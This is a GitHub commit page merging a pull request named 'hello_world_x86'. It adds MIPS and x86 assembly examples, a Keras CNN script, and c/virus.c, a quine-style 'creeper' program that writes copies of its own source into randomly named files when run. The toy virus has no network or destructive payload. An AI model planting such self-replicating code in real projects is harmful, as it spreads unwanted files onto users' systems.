Skip to content
This repository has been archived by the owner on Oct 23, 2018. It is now read-only.

Commit

Permalink
Merge pull request #4646 from jonnhynick/hello_world_x86
Browse files Browse the repository at this point in the history
Merged by aniket965
  • Loading branch information
Aniket965 committed Oct 18, 2018
2 parents a4da121 + b0fcdcd commit 2e8339d
Show file tree
Hide file tree
Showing 4 changed files with 280 additions and 0 deletions.
118 changes: 118 additions & 0 deletions MIPS/calculateFloats.asm
@@ -0,0 +1,118 @@
.data
name: .asciiz "Jonnathan\n"
prompt: .asciiz "Enter a number " #000b
space: .asciiz " " #001b
endLine: .asciiz "\n"
.text
.globl main
main:

lui $a0, 0x1001
addi $v0, $0, 4
syscall
jal readInts
jal print

addi $v0, $0, 10
syscall

readInts:
and $s0, $s0, $0
addi $t0, $a0, 0x0020
addi $t1, $t0, 40 #array with args $a0
addi $a0, $a0, 0x000b #prompt
add $t7, $0, $0 #counter
top: #loop 10 times or when negative value
slt $t2, $t0, $t1
beq $t2, $0, end
addi $v0, $0, 4
syscall
addi $v0, $0, 5
syscall
slt $t3, $0, $v0
beq $t3, $0, end
sw $v0, 0($t0)
addi $t7, $t7, 1
addi $t0, $t0, 4 #move array 1 position
j top

end:
addi $a0, $a0, -0x00b #reset $a0
addi $a0,$a0, 0x0020 #start of array index
add $v0, $0, $t7 #counter returned in v0
jr $ra

averageFloat:
addi $sp, $sp, -4 #stack pointer storing return address
sw $ra, 0($sp)
add $t0, $0, $a0 #start index array
add $t1, $0, $s7 #counter
add $s0, $0, $0 #value of sums
beq $s7, $0, zero #if array is empty

topFloat:
slt $t2, $0, $t1 #iterate and calculate the total sum
beq $0, $t2, endFloat
lw $t3, 0($t0)
add $s0, $s0, $t3
addi $t0, $t0, 4
addi $t1, $t1, -1
j topFloat

endFloat:
mtc1 $s0, $f4 #move to c1 to calculate float
mtc1 $s7, $f5
div.s $f12,$f4, $f5
addi $v0, $0, 2
syscall
lw $ra, 0($sp) #restore the stack
addi $sp, $sp, 4
jr $ra
zero:
mtc1 $0, $f12 #print 0.0
addi $v0, $0, 2
syscall
jr $ra


print:
addi $sp, $sp, -4 #stack pointer storing return address
sw $ra, 0($sp)
add $t0, $0, $a0 #start index array
add $t1, $0, $v0 #counter
add $s0, $0, $0 #value of sums
add $s7, $0, $v0 #counter
addi $t7, $0, 4
mult $t7, $t1
mflo $t7 #array range
lui $t6, 0x1001
addi $t6, $t6, 0x001b #tab

topPrint:
slt $t2, $0, $t1 #iterate on the array and print values
beq $0, $t2, endPrint
lw $t3, 0($t0)
addi $v0, $0, 1
add $a0, $0, $t3
syscall
add $a0, $0, $t6
addi $v0, $0, 4
syscall #print the space for numbers
add $s0, $s0, $t3
addi $t0, $t0, 4
addi $t1, $t1, -1
j topPrint
endPrint:
lui $a0, 0x1001 #print new line
addi $a0, $a0, 0x001d
addi $v0, $0, 4
syscall
or $a0, $0, $t0
sub $a0, $a0, $t7 #reset a0 to the start of the array
jal averageFloat #get average
lw $ra, 0($sp) #restore stack
addi $sp, $sp, 4
jr $ra



102 changes: 102 additions & 0 deletions Python/cnn_02.py
@@ -0,0 +1,102 @@
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D
from keras.layers import Activation, Dropout, Flatten, Dense
from keras import backend as K
from keras.preprocessing import image
import numpy as np

# SET THE DIMENSIONS OF THE IMAGES BEING USED
img_width, img_height = 150,150

# SET THE TRAIN, TEST AND VALIDATION DIRECTORIES (PLACED ON DESKTOP)
train_data_dir = 'data/train'
test_data_dir = 'data/test'
validation_data_dir = 'data/validation'

# SET THE NUMBER OF SAMPLES FOR TRAINING AND VALIDATION
nb_train_samples = 1000
nb_validation_samples = 100

# SET THE NUMBER OF EPOCHS
epochs = 20

# SET THE BATCH SIZE
batch_size = 16

if K.image_data_format() == 'channels_first':
input_shape = (3, img_width, img_height)
else:
input_shape = (img_width, img_height, 3)

#CONVOLUTIONAL NEURAL NETWORK MODEL HERE
model = Sequential()
model.add(Conv2D(32, (3, 3), input_shape=input_shape))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))

model.add(Conv2D(32, (3, 3)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(64, (3, 3)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Flatten())
model.add(Dense(64))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(1))
model.add(Activation('sigmoid'))
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])

# THE FOLLOWING CODE WILL LOAD THE TRAINING AND VALIDATION DATA TO YOUR MODEL NAMED model
train_datagen = ImageDataGenerator(
rescale=1. / 255,
rotation_range=90,
shear_range=0.2,
zoom_range=0.2,
horizontal_flip=True)

test_datagen = ImageDataGenerator(rescale=1. / 255)

train_generator = train_datagen.flow_from_directory(
train_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

validation_generator = test_datagen.flow_from_directory(
validation_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

model.fit_generator(
train_generator,
steps_per_epoch=nb_train_samples // batch_size,
epochs=epochs,
validation_data=validation_generator,
validation_steps=nb_validation_samples // batch_size)

# DISPLAY THE CLASS NAME AND INDEX USED FOR TRAINING
print "Class : Index"
print train_generator.class_indices

# THE FOLLOWING CODE WILL FEED THE TEST DATA TO YOUR MODEL NAMED model
test_datagen = ImageDataGenerator(rescale=1. / 255)

validation_generator = test_datagen.flow_from_directory(
test_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size,
class_mode='binary')

predict= model.predict_generator(
validation_generator,
nb_validation_samples // batch_size)

# DISPLAY THE PREDICTED CLASS FOR EACH SAMPLE
print predict

39 changes: 39 additions & 0 deletions c/virus.c
@@ -0,0 +1,39 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

int main() {
int i;
int ID;
ID = (1207274233 % 3) + 2;
for(i = 1; i <= ID; i++){
char buffer[12];
srand(time(NULL)*i);
sprintf(buffer,"%d",rand()%1000);
strcat(buffer,".c");
FILE* fp;
fp = fopen(buffer,"w");
char *s1="#include <stdio.h>%c#include <stdlib.h>%c#include <time.h>%c#include <string.h>%c%cint main() {%c%cint i;%c%cint ID;%c%cID = (1207274233 % 3) + 2;%c%cfor(i = 1; i <= ID; i++){%c%c%cchar buffer[12];%c%c%csrand(time(NULL)*i);%c%c%csprintf(buffer,%c%cd%c,rand()%1000);%c%c%cstrcat(buffer,%c.c%c);%c%c%cFILE* fp;%c%c%cfp = fopen(buffer,%cw%c);%c";
char *s2="%c%cchar *s%c=%c%s%c;%c%c%cchar *s%c=%c%s%c;%c";
char *s3="%c%cchar n='%cn', q='%c', b='%c%c', t='%ct', s='%';%c";
char *sp="fprintf(fp,";
char *s4="%c%c%ss1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);%c";
char *s5="%c%c%ss2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n); %ss2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);%c";
char *s6="%c%c%ss2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n); %ss2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);%c";
char *s7="%c%c%ss2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n); %ss2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);%c";
char *s8="%c%c%ss3,t,t,b,q,b,b,b,n); %ss4,t,t,sp,n); %ss5,t,t,sp,sp,n);%c";
char *s9="%c%c%ss6,t,t,sp,sp,n); %ss7,t,t,sp,sp,n); %ss8,t,t,sp,sp,sp,n);%c";
char *s0="%c%c%ss9,t,t,sp,sp,sp,n); %ss0,t,t,sp,sp,n,t,t,n,t,n);%c%c%cfclose(fp);%c%c}%c}";
char *sx="--- I am the creeper, catch me if you can. ---";
char n='\n', q='"', b='\\', t='\t', s='%';
fprintf(fp,s1,n,n,n,n,n,n,t,n,t,n,t,n,t,n,t,t,n,t,t,n,t,t,q,s,q,n,t,t,q,q,n,t,t,n,t,t,q,q,n);
fprintf(fp,s2,t,t,'1',q,s1,q,n,t,t,'2',q,s2,q,n); fprintf(fp,s2,t,t,'3',q,s3,q,n,t,t,'p',q,sp,q,n);
fprintf(fp,s2,t,t,'4',q,s4,q,n,t,t,'5',q,s5,q,n); fprintf(fp,s2,t,t,'6',q,s6,q,n,t,t,'7',q,s7,q,n);
fprintf(fp,s2,t,t,'8',q,s8,q,n,t,t,'9',q,s9,q,n); fprintf(fp,s2,t,t,'0',q,s0,q,n,t,t,'x',q,sx,q,n);
fprintf(fp,s3,t,t,b,q,b,b,b,n); fprintf(fp,s4,t,t,sp,n); fprintf(fp,s5,t,t,sp,sp,n);
fprintf(fp,s6,t,t,sp,sp,n); fprintf(fp,s7,t,t,sp,sp,n); fprintf(fp,s8,t,t,sp,sp,sp,n);
fprintf(fp,s9,t,t,sp,sp,sp,n); fprintf(fp,s0,t,t,sp,sp,n,t,t,n,t,n);
fclose(fp);
}
}
21 changes: 21 additions & 0 deletions x86/hello_world.asm
@@ -0,0 +1,21 @@
; ----------------------------------------------------------------------------------------
; Writes "Hello, World" to the console using only system calls. Runs on 64-bit Linux only.
; To assemble and run:
;
; nasm -felf64 hello.asm && ld hello.o && ./a.out
; ----------------------------------------------------------------------------------------

global _start

section .text
_start: mov rax, 1 ; system call for write
mov rdi, 1 ; file handle 1 is stdout
mov rsi, message ; address of string to output
mov rdx, 13 ; number of bytes
syscall ; invoke operating system to do the write
mov rax, 60 ; system call for exit
xor rdi, rdi ; exit code 0
syscall ; invoke operating system to exit

section .data
message: db "Hello, World", 10 ; note the newline at the end

0 comments on commit 2e8339d

Please sign in to comment.